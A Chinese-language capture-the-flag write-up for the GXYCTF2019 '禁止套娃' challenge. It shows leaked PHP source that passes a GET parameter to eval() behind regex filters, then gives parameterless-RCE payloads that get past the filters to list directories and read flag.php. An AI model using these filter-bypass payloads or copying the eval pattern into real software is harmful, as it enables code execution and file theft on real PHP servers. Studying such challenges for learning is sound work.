欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[GXYCTF2019]禁止套娃 1

程序员文章站 2022-07-16 16:33:51
...

知识点

  • git泄露
  • PHP中正则表达式的递归
  • 无参数RCE

WP

自己做这题的时候对于这个正则表达式的递归和无参数RCE都是第一次接触,连正则表达式都没看懂。。之后上网查了一下资料,写下了这篇WP。

首先进入环境,用dirsearch扫一下,存在git泄露,用工具把源码弄下来:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

首先过滤了一些一些,然后是一个奇怪的正则表达式:

'/[a-z,_]+\((?R)?\)/'

主要的难点就是(?R),这是PHP的递归模式:
递归模式

简单点来说,就可以这样理解:

'/[a-z,_]+\(\)/'

把(?R)挖掉得到这个正则,这个正则可以匹配类似这样的字符串:phpinfo()
但是括号里面有一个递归模式,可以理解成可以递归:

phpinfo(phpinfo(phpinfo()))

无穷的递归下去,也就是说我们要传的是函数名,但是里面不能有参数。因此这题的考点也就是无参数RCE。

关于无参数RCE,强烈推荐先把这篇文章看完:
PHP Parametric Function RCE

文章中一共提到了五种方法,我们一一来复现一下,看看哪些方法可以成功:

方法一

我们要么想直接执行命令,要么就是读flag.php。但是getenv()更多的是信息的收集,里面的内容我们也不可控,因此getenv()在这题对我们并没有帮助。

方法二

尚且不说题目的环境是不是apache2,注意第三个正则表达:

'/et|na|info|dec|bin|hex|oct|pi|log/i'

et就已经把所有名字里有get的函数都给pass了,因此getallheaders()不行。

方法三

同样的,get_defined_vars()被过滤,这个方法不行。

方法四

我们可以利用session_id()来获得PHPSESSID,但是PHPSESSID只支持字母数字。如果要执行命令,里面势必会有引号斜杠之类的其他字符,正常是要转16进制传入,然后16进制解出来再进行执行。但是第三个正则:

'/et|na|info|dec|bin|hex|oct|pi|log/i'

过滤了hex和bin,我们也就没法执行hex2bin进行十六进制解码,因此无法直接执行命令。既然这样,那就直接读flag.php:
[GXYCTF2019]禁止套娃 1

如何读取flag.php呢,正常可以

file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()

之类的。但是因为过滤,只能用下面这些了:

highlight_file()
?exp=highlight_file(session_id(session_start()));

show_source()
?exp=show_source(session_id(session_start()));

file()
?exp=print_r(file(session_id(session_start())));

readfile()
?exp=readfile(session_id(session_start()));

成功得到flag。

方法五

方法五我一开始以为是不行的,因为getcwd()已经被过滤了,没法得到当前的目录。后来我看到了王叹之大师傅的WP,get了一个新姿势:

localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.

可以利用current()来得到这个.。pos()是currnt()的别名,在current()被过滤的时候可以用它。
有个.,就相当于可以代替当前路径了:
[GXYCTF2019]禁止套娃 1
但是flag.php在索引为3的位置,没法直接读取,这里利用array_rand()函数:
array_rand — 从数组中随机取出一个或多个单元。但是他取出的是键,我们想要的是值,还要利用array_flip(),把键与值交换,这样就可以了:

?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));

这样就得到了flag.php,接下来就是读取文件,姿势和方法四里的读文件一样。

总结

学习了无参数RCE的各种姿势,这个题目针不戳!